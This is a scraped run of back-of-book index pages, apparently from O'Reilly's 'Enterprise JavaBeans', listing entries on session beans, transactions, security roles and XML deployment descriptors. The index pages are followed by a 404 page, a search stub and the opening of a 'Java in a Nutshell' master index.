Requires New transaction attribute: 8.2.3 Transaction Attributes Defined
res-auth element: 10.5.5 References to External Resources
res-ref-name element: 6.2.6.1 EJB 1.1: Using JDBC in EJB
10.5.5 References to External Resources
res-type element: 6.2.6.1 EJB 1.1: Using JDBC in EJB
10.5.5 References to External Resources
reservations, using entity bean for: 7.3.1.5 Why use a Reservation entity bean?
resource factories: 10.5.1 Session and Entity Beans
resource management: 3. Resource Management and the Primary Services
dependent classes, use of: 7.1.2.3 Dependent classes: The CreditCard and Check classes
instance pooling: 3.1.1 Instance Pooling
3.1.1.3 Instance swapping
listing behavior vs. entity beans: 9.3.2 Resource Consumption
ORBS, lacking support for: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors
resource-ref element: 10.5.1 Session and Entity Beans
declaration for DataSource connection factory: 10.5.5 References to External Resources
return types, Java RMI: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
RMI (remote method invocation): 1.3 Distributed Object Architectures
1.3 Distributed Object Architectures
3.2.4 Distributed Objects
6.1.4 Java RMI Return Types, Parameters, and Exceptions
communication loop: 1.3.1 Rolling Your Own Distributed Object
communication loops: 1.3 Distributed Object Architectures
network protocols, distributed object services: 3.2.4 Distributed Objects
RPC vs.: 1.5.1 TP Monitors
role-driven access control: 3.2.6.1 EJB 1.1: Role-driven access control
role-link element: 10.5.6 Security Roles
role-name element: 10.5.6 Security Roles
RoleIdentity class: 6.2.5 EJB 1.0: EJBContext
rollback( ) (UserTransaction): 8.5.3 UserTransaction
rollback/commit control in updating databases: 8.2.4 Transaction Propagation
rollbacks
EJBContext methods: 8.5.5 EJBContext Rollback Methods
marking transaction for: 8.5.3 UserTransaction
root element: 2.1.2.2 EJB 1.1: Deployment descriptors
4.2.5 EJB 1.1: The Deployment Descriptor
10.4 The Descriptor's Body
RPCs (remote procedure calls): 1.5.1 TP Monitors
runAs Identity: 3.2.6.2 EJB 1.0: Method-driven access control
3.2.6.2 EJB 1.0: Method-driven access control
runtime behaviors
customizing with deployment descriptors: 2.1.2 Deployment Descriptors and JAR Files
modifying at deployment in server-side components: 1.1.2 Server-Side Components
runtime exceptions: 6.2.2 Exception Handling

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S

scope of transactions: 8.2.1 Transaction Scope
8.2.1 Transaction Scope
(see also propagation of transactions)
secure communications: 3.2.6 Security
EJB servers, support for: 3.2.6 Security
security: 3.2.6 Security
AccessControlEntry class: A.2.1 AccessControlEntry
assembly-descriptor element: 10.5 Describing Beans
CORBA attempt to standardize: 1.6.2 EJB and CORBA CTMs
EJB 1.1, changes in: D.5 Security
EJBContext interface: A.1.3 EJBContext
runAs identity: 3.2.6.2 EJB 1.0: Method-driven access control
3.2.6.2 EJB 1.0: Method-driven access control
setting attributes for: 4.2.6 EJB 1.0: The Deployment Descriptor
4.3.5 EJB 1.0: The TravelAgent Beans' Deployment Descriptor
security identity: 3.2.6 Security
3.2.6.2 EJB 1.0: Method-driven access control
Principle objects: 3.2.6.1 EJB 1.1: Role-driven access control
security restrictions, avoiding with HTML: 11.3 Web Components and EJB
security-role element
in assembly-descriptor: 10.6 Describing Bean Assembly
assembly-descriptor, specifying in: 10.6.2 Specifying Security Roles and Method Permissions
security-role-ref element: 10.5.1 Session and Entity Beans
10.5.6 Security Roles
security roles: 3.2.6.1 EJB 1.1: Role-driven access control
assembly-descriptor element: 4.2.5 EJB 1.1: The Deployment Descriptor
clients, identifying by: 6.2.4 EJB 1.1: EJBContext
6.2.5 EJB 1.0: EJBContext
mapping to methods in remote and home interfaces: 10.6.2.1 Assigning roles to methods
sequence diagrams for bean types: B. State and Sequence Diagrams
serializable data types: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
Java RMI-IIOP restrictions on: 5.2.2.1 EJB 1.1: Java RMI-IIOP type restrictions
Serializable isolation level: 8.3.3 Transaction Isolation Levels
performance problems with: 8.3.4 Balancing Performance Against Consistency
server-side component models: 1.4 Component Models
1.6 CTMs and Server-Side Component Models
(see also EJB)
benefits of standard: 1.6.3 Benefits of a Standard Server-Side Component Model
CTMs and: 1.6 CTMs and Server-Side Component Models
ORBs, inadequacy of: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors
specifications for: 1.6 CTMs and Server-Side Component Models
server-side components: 1.1.2 Server-Side Components
CTMs, comprehensive environment for: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors
ORBS, inadequacy of: 1.1.3 Component Transaction Monitors
pooling instances of: 3.1.1 Instance Pooling
server-side implementation, EJBObject interface: 2.1.3.1 The EJB object
servers: 1.3 Distributed Object Architectures
(see also object servers)
application servers: 1.1.3 Component Transaction Monitors
containers and: 2.3.1 The Container-Server Contract
containers vs.: 2.1.1 Classes and Interfaces
direct database access: 9.9.2.1 Direct database access with JDBC
EJB
portability among: 1. Introduction
services, handling: 2.1.2 Deployment Descriptors and JAR Files
vendors of: C. EJB Vendors
entity beans, not supporting: 9.9 When Entity Beans Are Not an Option
JNDI access: 3.2.5 Naming
PersonServer object (example): 1.3.1 Rolling Your Own Distributed Object
1.3.1 Rolling Your Own Distributed Object
relationship with beans: 2.3 The Bean-Container Contract
selection and setup: 4.1 Choosing and Setting Up an EJB Server
transaction management (in EJB): 8.2.4 Transaction Propagation
transaction monitors (EJB): 8.2.4 Transaction Propagation
service providers: 5.1 Locating Beans with JNDI
services
CORBA: 3.2 Primary Services
directory services (see directory services; JNDI)
distributed object protocols, providing: 1.3.1 Rolling Your Own Distributed Object
distributed objects, naming and directory services: 3.2.5 Naming
J2EE application servers, required: 11.4.2 Guaranteed Services
primary, in EJB: 3.2 Primary Services
Servlet interface: 11. Java 2, Enterprise Edition
Servlets
J2EE servers, required support of: 11.4.2 Guaranteed Services
similarity to sessions beans: 11.1 Servlets
session beans: 2.1 The Enterprise Bean Component
2.1.1.5 What about session beans?
3.1.1.3 Instance swapping
7. Session Beans
concurrent access, not supporting: 3.2.1 Concurrency
container-transaction element declarations: 10.6 Describing Bean Assembly
deployment: 4.3.8 Deploying the TravelAgent Bean
developing (example): 4.3 Developing a Session Bean
bean class: 4.3.3 TravelAgentBean: The Bean Class
client application, creating: 4.3.9 Creating a Client Application
home interface: 4.3.2 TravelAgentHome: The Home Interface
JAR files: 4.3.6 EJB 1.1: The JAR File
4.3.7 EJB 1.0: The JAR File
remote interface: 4.3.1 TravelAgent: The Remote Interface
SessionDescriptors: 4.3.6 EJB 1.1: The JAR File
EJB 1.1, new features in: D.2 Session Beans
emulating entity beans with: 9.9.1 Emulating Entity Beans with Session Beans
entity beans vs.: 2.2.2 Modeling Workflow with Session Beans
7. Session Beans
7.3.1.5 Why use a Reservation entity bean?
9.3.3 Striking a Balance
explicit transaction management: 8.5 Explicit Transaction Management
find methods: 4.3.2 TravelAgentHome: The Home Interface
5.2.3.4 Creating and finding beans
handles, ability to use on: 5.2.5.5 The bean handle
improving performance with: 9.3 Improved Performance with Session Beans
limiting to workflow: 9.9.2 Workflow
managing processes or tasks with: 2.1 The Enterprise Bean Component
nonreentrance policy: 3.2.1.1 Reentrance
remove methods: 5.2.3.1 Removing beans
5.2.3.1 Removing beans
removing: 5.2.5.4 Removing beans
servlets, similarity to: 11.1 Servlets
states: 3.1.1.3 Instance swapping
transaction notification in SessionSynchronization (diagram): B.2.3 EJB 1.1: Interactions Between Exceptions and Transactions
transactional attributes in deployment descriptor: 10.6.1 Specifying a Bean's Transactional Attributes
workflow, limiting to: 9.9.2.1 Direct database access with JDBC
workflow, modeling with: 2.2.2 Modeling Workflow with Session Beans
4.3 Developing a Session Bean
4.3.3.1 EJB 1.1: TravelAgentBean
session elements: 4.2.5 EJB 1.1: The Deployment Descriptor
10.5 Describing Beans
session-type element: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor
10.5.1 Session and Entity Beans
SessionBean interface: 2.3 The Bean-Container Contract
7.2.2.1 Transitioning to the Method-Ready Pool
A.1.17 SessionBean
SessionContext interface: 2.3 The Bean-Container Contract
A.1.18 SessionContext
SessionDescriptor class: 2.1.2.1 EJB 1.0: Deployment descriptors
4.3.5 EJB 1.0: The TravelAgent Beans' Deployment Descriptor
4.3.6 EJB 1.1: The JAR File
A.2.5 SessionDescriptor
SessionSynchronization interface: 8.8 Transactional Stateful Session Beans
A.1.19 SessionSynchronization
transaction notifications in: B.2.2 Stateful Session Beans
set and get methods: 8.3.2 Database Locks
(see also get(; set( )))
business methods, defining as: 6.1.5 The ShipBean Class
manipulating with properties: 6.1.1.1 Set and get methods
naming conventions: 6.1.1.1 Set and get methods
remote interface: 6.1.1.1 Set and get methods
setEntityContext( )
EJBContext interface: 6.3.2 The Pooled State
EntityContext interface: 6.1.7 The EntityContext
setEnvironmentProperties( ) (DeploymentDescriptor): 6.2.6.2 EJB 1.0: Using JDBC in EJB
setRollBackOnly( )
UserTransaction interface: 8.5.3 UserTransaction
setSessionContext (SessionBean): 7.2.2.1 Transitioning to the Method-Ready Pool
setSessionTimeout( ) (SessionDescriptor): 4.3.5 EJB 1.0: The TravelAgent Beans' Deployment Descriptor
setStateManagement( ) (SessionDescriptor): 4.3.5 EJB 1.0: The TravelAgent Beans' Deployment Descriptor
setTransactionTimeout (UserTransaction): 8.5.3 UserTransaction
simple relationships (entity beans): 9.7.1 Simple Associations
9.7.1.5 Native Java persistence
single-field primary keys: 6.1.2 The Primary Key
EJB 1.0 and 1.1 support for: 6.1.2.2 Single-field key
skeletons: 1.3 Distributed Object Architectures
listening for requests from stubs: 1.3 Distributed Object Architectures
Person_Skeleton example: 1.3.1 Rolling Your Own Distributed Object
small-icon element: 10.4 The Descriptor's Body
session or entity element: 10.5.1 Session and Entity Beans
Smalltalk language: 1.1.2 Server-Side Components
snapshots: 8.3.2 Database Locks
source code for beans, downloading from O'Reilly web site: 7.1.1 Downloading the Missing Pieces
SPECIFIED_IDENTITY mode: 3.2.6.2 EJB 1.0: Method-driven access control
SQL requests, using JDBC Prepared Statement for: 6.2.7 The ejbCreate( ) Method
SQL standard: 1.6.3 Benefits of a Standard Server-Side Component Model
database table, defining: 6.1 Container-Managed Persistence
relational database, EJB server support: 4.1 Choosing and Setting Up an EJB Server
SQLException: 6.2.12 EJB 1.0: Deploying the Bean-Managed Ship Bean
7.3.1.5 Why use a Reservation entity bean?
SSL (secure socket layer), supporting secure communications: 3.2.6 Security
state: 7. Session Beans
(see also conversational state; life cycle)
bean-managed persistence, advantages in managing: 6.2 Bean-Managed Persistence
callback methods for managing: 2.1.1.3 The bean class
containers, generating logic to save: 6.1 Container-Managed Persistence
entity beans (see under life cycle)
IllegalStateException: 6.2.3 EntityContext
session beans and: 2.2.2.1 Stateless and stateful session beans
stateful session beans (see under life cycle)
stateless session beans (see under life cycle)
synchronization of: 3.2.3.1 Object-to-relational persistence
state and sequence diagrams for bean types: B. State and Sequence Diagrams
stateful session beans: 2.2.2.1 Stateless and stateful session beans
7. Session Beans
7.3 The Stateful Session Bean
7.4.3 Passivated State
activation: 3.1.2 The Activation Mechanism
B.2.2 Stateful Session Beans
bean class, defining: 7.3.1.4 TravelAgentBean: The bean class
bean-managed transactions, setting transaction isolation levels: 8.3.4.1 EJB 1.1: Controlling isolation levels
chaining: 9.10 Avoid Chaining Stateful Session Beans
conversational state: 7.3 The Stateful Session Bean
database updates: 8.8 Transactional Stateful Session Beans
deployment descriptors
EJB 1.0: 7.3.1.8 EJB 1.0: The TravelAgent deployment descriptor
XML-based: 7.3.1.7 EJB 1.1: The TravelAgent deployment descriptor
as extension of client: 7.3 The Stateful Session Bean
handles: 7.1.2.2 ProcessPayment: The remote interface
home interface: 7.3.1.2 TravelAgentHome: The home interface
instance pooling, not using: 7.4 The Life Cycle of a Stateful Session Bean
life cycle: 7.4 The Life Cycle of a Stateful Session Bean
7.4.3 Passivated State
diagrams of: B.2.2 Stateful Session Beans
Does Not Exist state: 7.4.1 Does Not Exist
Method-Ready state: 7.4.2.1 Transitioning to the Method-Ready state
Method-Ready state to Passivated state: 7.4.2.3 Transitioning out of the Method-Ready state
Passivated state: 7.4.3 Passivated State
transactional method-ready state: 8.8.1.1 Transitioning into the Transactional Method-Ready state
open connections: 7.3.1.4 TravelAgentBean: The bean class
operations allowed for: B.2.2 Stateful Session Beans
remote interface: 7.3.1 The TravelAgent Bean
application exceptions: 7.3.1.1 TravelAgent: The remote interface
definition (example): 7.3.1.1 TravelAgent: The remote interface
runAs Identity: 3.2.6.2 EJB 1.0: Method-driven access control
sequence diagrams: B.2.2 Stateful Session Beans
session-type element: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor
10.5.1 Session and Entity Beans
10.5.1 Session and Entity Beans
transactional: 8.8 Transactional Stateful Session Beans
9.9.1 Emulating Entity Beans with Session Beans
transactions across methods: 8.5.1 Transaction Propagation in Bean-Managed Transactions
workflow management: 7.3.1.4 TravelAgentBean: The bean class
stateless session beans: 2.2.2.1 Stateless and stateful session beans
7. Session Beans
7.1 The Stateless Session Bean
applications for: 7.1 The Stateless Session Bean
bean class: 7.1.2.6 ProcessPaymentBean: The bean class
concurrent access, not supporting: 3.2.1 Concurrency
3.2.1 Concurrency
conversational state: 7.1 The Stateless Session Bean
definition (example): 7.1.2 The ProcessPayment Bean
deployment descriptors
EJB 1.0 version: 7.1.2.10 EJB 1.0: The ProcessPayment bean's deployment descriptor
properties: 7.1.2.6 ProcessPaymentBean: The bean class
XML-based: 7.1.2.9 EJB 1.1: The ProcessPayment bean's deployment descriptor
ejb-ref element: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor
home interface: 7.1.2.5 ProcessPaymentHome: The home interface
instance pooling: 3.1.1.3 Instance swapping
7.2 The Life Cycle of a Stateless Session Bean
instance swapping: 3.1.1.3 Instance swapping
instance variables: 7.1 The Stateless Session Bean
life cycle: 7.2 The Life Cycle of a Stateless Session Bean
Does Not Exist state: 7.2.1 Does Not Exist
Does Not Exist state to Method-Ready Pool transition: 7.2.2.1 Transitioning to the Method-Ready Pool
Method-Ready Pool: 7.2.2 The Method-Ready Pool
7.2.2.2 Life in the Method-Ready Pool
state diagram: B.2.1 Stateless Session Beans
transition from Method-Ready Pool to Does Not Exist state: 7.2.2.3 Transitioning out of the Method-Ready Pool: The death of a stateless bean instance
open connections: 7.2.2.1 Transitioning to the Method-Ready Pool
operations allowed for: B.2.1 Stateless Session Beans
ProcessPayment bean example: 7.1.2 The ProcessPayment Bean
remote interface: 7.1.2.2 ProcessPayment: The remote interface
7.1.2.2 ProcessPayment: The remote interface
application exceptions: 7.1.2.4 PaymentException: An application exception
dependent classes: 7.1.2.3 Dependent classes: The CreditCard and Check classes
handle: 7.1.2.2 ProcessPayment: The remote interface
runAs Identity: 3.2.6.2 EJB 1.0: Method-driven access control
sequence diagram: B.2.1 Stateless Session Beans
source code, downloading from O'Reilly web site: 7.1.1 Downloading the Missing Pieces
UserTransaction transactions: 8.5.1 Transaction Propagation in Bean-Managed Transactions
using from within stateful session beans: 9.10 Avoid Chaining Stateful Session Beans
Status interface, providing current status of transactional objects: 8.5.4 Status
String class, using in primary keys: 6.1.2.2 Single-field key
String types: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
strings (arrays of) in listing behavior: 7.3.1.6 listAvailableCabins( ): Listing behavior
stubs: 1.3 Distributed Object Architectures
business methods, invoking: 2.1.3.2 The EJB home
EJB objects, passing by value: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
EJB objects, returning to client: 6.3.3.1 Transitioning from the Pooled state to the Ready State via creation
EJBObject interface, implementing: 2.1.3.1 The EJB object
implementing multiple interfaces, IIOP and: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
as object server surrogates on clients: 1.3 Distributed Object Architectures
Person_Stub example: 1.3.1 Rolling Your Own Distributed Object
as remote references to object server: 1.3.1 Rolling Your Own Distributed Object
session beans, reducing number of: 2.2.2 Modeling Workflow with Session Beans
subsystems exceptions: 6.2.2 Exception Handling
7.1.2.4 PaymentException: An application exception
7.4.3.1 system exceptions
Sun Microsystems
development of Enterprise JavaBeans: 1.6.2 EJB and CORBA CTMs
EJB packages, downloading from Java site: 4.1.1 Setting Up Your Java IDE
Supports transaction attribute: 8.2.3 Transaction Attributes Defined
swapping bean instances: 3.1.1.2 Overview of state transitions
6.2.3 EntityContext
stateful session beans, not using: 7.4 The Life Cycle of a Stateful Session Bean
synchronization
bean-managed persistence: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods
6.3.3.3 Transitioning from the Pooled state to the Ready State via activation
6.3.4 Life in the Ready State
container-managed persistence: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans
6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans
6.3.4 Life in the Ready State
B.1.2 quence Diagrams for Container-Managed Persistence
persistent fields to database (container-managed): 6.3.3.3 Transitioning from the Pooled state to the Ready State via activation
state of bean instance: 3.2.3.1 Object-to-relational persistence
synchronous messaging: 1.5.1 TP Monitors
system exceptions
application exceptions vs.: 7.1.2.4 PaymentException: An application exception
EJB 1.1: 7.4.3.1 system exceptions
in transactions: 8.6.1.1 System exceptions
system-level functionality, CTMs providing for distributed objects: 1.5.4 Analogies to Relational Databases
system-level infrastructure, lacking in ORBs: 1.5.2 Object Request Brokers
SYSTEM_IDENTITY mode: 3.2.6.2 EJB 1.0: Method-driven access control

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T

tables, mapping entity beans to: 4.2.9.2 EJB 1.0 deployment tools
tag names, XML vs. HTML: 10.1 What Is an XML Deployment Descriptor?
tagging in XML documents: 4.2.5 EJB 1.1: The Deployment Descriptor
this keyword, problems with passing: 9.5.1 Why the Bean Class Shouldn't Implement the Remote Interface
thread safety, concurrency and: 3.2.1 Concurrency
three-tier architectures: 1.3 Distributed Object Architectures
TP monitor systems: 1.1.1 Distributed Objects
timeouts
stateful session beans: 7. Session Beans
7.4.2.4 EJB 1.1 timeouts
stateless session beans: 7. Session Beans
transactions, setting for: 8.5.3 UserTransaction
Titan Cruises (example): 1.7 Titan Cruises: An Imaginary Business
enterprise beans with: 2.2 Using Enterprise Beans
toString( ) (Object): 6.1.2 The Primary Key
TP monitors: 1.5.1 TP Monitors
1.5.1 TP Monitors
(see also CTMs)
CTMs vs.: 1.1.3 Component Transaction Monitors
ORBs, hybridizing with: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors
three-tier architecture in: 1.1.1 Distributed Objects
trans-attribute element: 10.6.1 Specifying a Bean's Transactional Attributes
transaction manager, using in two-phase commit protocol: 8.5.2 Heuristic Decisions
transaction processing monitors (see TP monitors)
transaction service software: 8.1.4 Is the TravelAgent Bean Durable?
transaction-type element: 8.2.3 Transaction Attributes Defined
8.5 Explicit Transaction Management
10.5.1 Session and Entity Beans
transactional attributes, describing in assembly-descriptor element: 4.2.5 EJB 1.1: The Deployment Descriptor
transactional method-ready state (stateful session beans): 8.8.1.1 Transitioning into the Transactional Method-Ready state
transactionally aware vs. transactional objects (stateful session beans): 9.9.1 Emulating Entity Beans with Session Beans
transactions: 3.2.2 Transactions
8.1 ACID Transactions
accuracy requirements: 8.1 ACID Transactions
ACID characteristics: 8.1 ACID Transactions
assembly-descriptor element: 10.5 Describing Beans
attributes: 8.2.2 Transaction Attributes
setting, EJB 1.1: 8.2.2.1 EJB 1.1: Setting a transaction attribute
business objects vs.: 8.1 ACID Transactions
container-transaction element: 10.6 Describing Bean Assembly
CORBA attempt to standardize: 1.6.2 EJB and CORBA CTMs
database locks: 8.3.2 Database Locks
declarative transactional management: 8.2 Declarative Transaction Management
definition and examples: 8.1 ACID Transactions
equality of isolation levels: 8.3.4.2 EJB 1.0: Controlling isolation levels
exceptions: 8.5.5 EJBContext Rollback Methods
B.2.3 EJB 1.1: Interactions Between Exceptions and Transactions
EJB 1.1: 8.6.1 Application Exceptions Versus System Exceptions
in bean-managed: 8.7.3 Bean-Managed Transactions
in client-initiated: 8.7.2 Client-Initiated Transactions
in container-initiated: 8.7.1 Container-Initiated Transactions
8.7.1 Container-Initiated Transactions
unchecked exceptions: 8.7.4 Unchecked Exceptions
explicit management: 8.5 Explicit Transaction Management
isolation of: 8.3 Isolation and Database Locking
8.3 Isolation and Database Locking
8.3.4.2 EJB 1.0: Controlling isolation levels
8.3.4.2 EJB 1.0: Controlling isolation levels
isolation coditions: 8.3.1 Dirty, Repeatable, and Phantom Reads
isolation levels: 8.3.3 Transaction Isolation Levels
management (explicit): 8.7 EJB 1.0: Exceptions and Transactions
non-transactional beans: 8.4 Non-Transactional Beans
Object Transaction Service (OTS): 8.5 Explicit Transaction Management
propagation: 8.2.4 Transaction Propagation
scope: 8.2.1 Transaction Scope
8.2.1 Transaction Scope
setting attributes for: 4.2.6 EJB 1.0: The Deployment Descriptor
4.3.5 EJB 1.0: The TravelAgent Beans' Deployment Descriptor
software supporting: 8.1.4 Is the TravelAgent Bean Durable?
stateful session beans: 8.8 Transactional Stateful Session Beans
transactional attributes: 8.2.3 Transaction Attributes Defined
(see also attributes)
values, defined: 8.2.3 Transaction Attributes Defined
transient fields (activation and passivation): 3.1.2 The Activation Mechanism
7.4.3 Passivated State
7.4.3 Passivated State
two-phase commit protocol (2-PC): 8.2.4 Transaction Propagation
transaction manager, using: 8.5.2 Heuristic Decisions
TX_BEAN_MANAGED attribute: 8.5 Explicit Transaction Management

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U

unchecked exceptions: 8.7.4 Unchecked Exceptions
8.7.4 Unchecked Exceptions
unit-of-work in transactions: 8.1 ACID Transactions
8.2.1 Transaction Scope
unsetEntityContext( ): 6.3.5 End of the Life Cycle
URLs
JDBC, finding for vendors: 6.2.6.2 EJB 1.0: Using JDBC in EJB
6.2.12 EJB 1.0: Deploying the Bean-Managed Ship Bean
JNDI, use of: 5.1 Locating Beans with JNDI
XML deployment descriptors: 10.3 The Document Header
UserTransaction interface: 8.5 Explicit Transaction Management
defining: 8.5.3 UserTransaction
methods, defined: 8.5.3 UserTransaction

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V

validation rules, dependent objects: 9.2.2 Validation Rules in Dependent Objects
vectors, use in database mapping: 9.7.2.1 One-to-many database mapping
vendors
CORBA-based CTMs, server-side component model differences: 1.6.2 EJB and CORBA CTMs
EJB containers, providing tools for data mapping of primary key and persistent fields: 2.1.1.4 The primary key
EJB object implementation: 2.1.3.1 The EJB object
EJB servers: 4.2.9.2 EJB 1.0 deployment tools
C. EJB Vendors
object-to-relational mapping tools: 9.8 Object-to-Relational Mapping Tools
JDBC URLs, obtaining: 6.2.6.2 EJB 1.0: Using JDBC in EJB
version, specifying for XML document: 10.3 The Document Header

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W

.war (web archive) files: 11.4 J2EE Fills in the Gaps
web components
accessing enterprise beans through client APIs: 11.3 Web Components and EJB
client access via HTTP/HTTPS: 11.4.3 Connectivity and Interoperability
deployment descriptor example: 11.4 J2EE Fills in the Gaps
EJB and: 11.3 Web Components and EJB
J2EE specification for interaction with EJB: 11.3 Web Components and EJB
web pages, processing requests for with Servlets: 11.1 Servlets
web servers in application servers: 1.1.3 Component Transaction Monitors
Weblogic deployment wizard: 4.2.9.2 EJB 1.0 deployment tools
wide EJB object type, narrowing remote reference: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
wildcards
method-intf element in: 10.6.3.4 Remote/home differentiation
method name in method element: 10.6.3.1 Wildcard declarations
wizards
deployment tools: 4.2.9 Deploying the Cabin Bean
object-to-relational persistence, mapping: 3.2.3.1 Object-to-relational persistence
workflow: 4.3.3.1 EJB 1.1: TravelAgentBean
limiting session beans to: 9.9.2 Workflow
separating data from: 4.3 Developing a Session Bean
session beans, modeling with: 2.2.2 Modeling Workflow with Session Beans
7. Session Beans
stateful session beans
management of: 7.3 The Stateful Session Bean
modeling with: 7.3.1.1 TravelAgent: The remote interface
7.3.1.4 TravelAgentBean: The bean class
wrapper classes for primitive data types: 6.1.2.2 Single-field key
write locks: 8.3.2 Database Locks

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X

XML deployment descriptors: 10.1 What Is an XML Deployment Descriptor?
D.3 XML Deployment Descriptors
application deployment descriptor: 11.4.1 J2EE Application Client Components
bean-managed entity beans (EJB 1.1): 6.2.11 EJB 1.1: Deploying the Bean-Managed Ship Bean
body of document: 10.4 The Descriptor's Body
for client components: 11.4.1 J2EE Application Client Components
container-managed entity bean: 6.1.8.5 EJB 1.1: Deploying the ShipBean
contents of: 10.2 The Contents of a Deployment Descriptor
EJB DTD (Document Type Definition): 2.1.2.2 EJB 1.1: Deployment descriptors
in ejb-Jar files: 10.7 The ejb-jar File
EJB references, declaring: 7.3.1.4 TravelAgentBean: The bean class
elements: 10.4 The Descriptor's Body
headers: 10.3 The Document Header
method-permission element: 3.2.6.1 EJB 1.1: Role-driven access control
primkey-field element: 6.1.2.2 Single-field key
resource-ref element: 6.2.6.1 EJB 1.1: Using JDBC in EJB
security roles: 3.2.6.1 EJB 1.1: Role-driven access control
Servlets and Java Server Pages (JSP), packaging in: 11. Java 2, Enterprise Edition
session beans: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor
stateful session beans: 7.3.1.7 EJB 1.1: The TravelAgent deployment descriptor
stateless session bean: 7.1.2.9 EJB 1.1: The ProcessPayment bean's deployment descriptor
transaction attributes: 8.2.2 Transaction Attributes
setting: 8.2.2.1 EJB 1.1: Setting a transaction attribute
for web components: 11.4 J2EE Fills in the Gaps
XML documents
!DOCTYPE element: 2.1.2.2 EJB 1.1: Deployment descriptors
4.2.5 EJB 1.1: The Deployment Descriptor
generating with JSP: 11.2 Java Server Pages
tagging in: 4.2.5 EJB 1.1: The Deployment Descriptor

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/Java Enterprise/ebeans/java.sun.com/j2ee/ was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Enterprise JavaBeans Search Page

Enterprise Java™Beans Search this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Master Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: 0

+ addition operator: 2.5.2. Arithmetic Operators, Java in a Nutshell
+= operator: 2.5.3. String Concatenation Operator, Java in a Nutshell
[ ] array element access operator: 2.5.11. Special Operators, Java in a Nutshell
= assignment operator: 1.3.2.4. Declaring a variable and parsing input, Java in a Nutshell
2.5.8. Assignment Operators, Java in a Nutshell
* asterisk: 7.3.1. Structure of a Doc Comment, Java in a Nutshell
~ bitwise complement operator: 2.5.7. Bitwise and Shift Operators, Java in a Nutshell
| bitwise OR operator: 2.5.7. Bitwise and Shift Operators, Java in a Nutshell
^ bitwise XOR operator: 2.5.7. Bitwise and Shift Operators, Java in a Nutshell
& Boolean AND operator: 2.5.6. Boolean Operators, Java in a Nutshell
! Boolean NOT operator: 2.5.6. Boolean Operators, Java in a Nutshell
| Boolean OR operator: 2.5.6. Boolean Operators, Java in a Nutshell
? conditional operator: 2.5.9. The Conditional Operator, Java in a Nutshell
|| conditional OR operator: 2.5.6. Boolean Operators, Java in a Nutshell
{} curly-brace character
in classes: 1.3.2.2. Defining a class, Java in a Nutshell
in main method: 1.3.2.3. Defining a method, Java in a Nutshell
-- decrement operator: 2.5.4. Increment and Decrement Operators, Java in a Nutshell
:: delimiter (IDL naming scopes): 10.6. Naming Scopes, Java Enterprise in a Nutshell
/ division operator: 2.5.2. Arithmetic Operators, Java in a Nutshell
/** */ doc comments: 2.2. Comments, Java in a Nutshell
= = equality operator: 2.10.2. Comparing Objects and Arrays, Java in a Nutshell
2.5.5. Comparison Operators, Java in a Nutshell
( ) method invocation operator: 2.5.11. Special Operators, Java in a Nutshell
% module operator: 2.5.2. Arithmetic Operators, Java in a Nutshell
/* */ multiline comments: 1.3.2.1. Comments, Java in a Nutshell
* multiplication operator: 2.5.2. Arithmetic Operators, Java in a Nutshell
(/) name components, separating: 22. The javax.naming Package, Java Enterprise in a Nutshell
!= not equals operator: 2.5.5. Comparison Operators, Java in a Nutshell
. object member access operator: 2.5.11. Special Operators, Java in a Nutshell
2-PC (see two-phase commit protocol)
``100% Pure Java'': 7.2. Portability Conventions and Pure Java Rules, Java in a Nutshell
; semicolon
in program lines: 1.3.1. Compiling and Running the Program, Java in a Nutshell
separating statements: 1.3.2.3. Defining a method, Java in a Nutshell
@since doc-comment tag: 7.3.2. Doc-Comment Tags, Java in a Nutshell
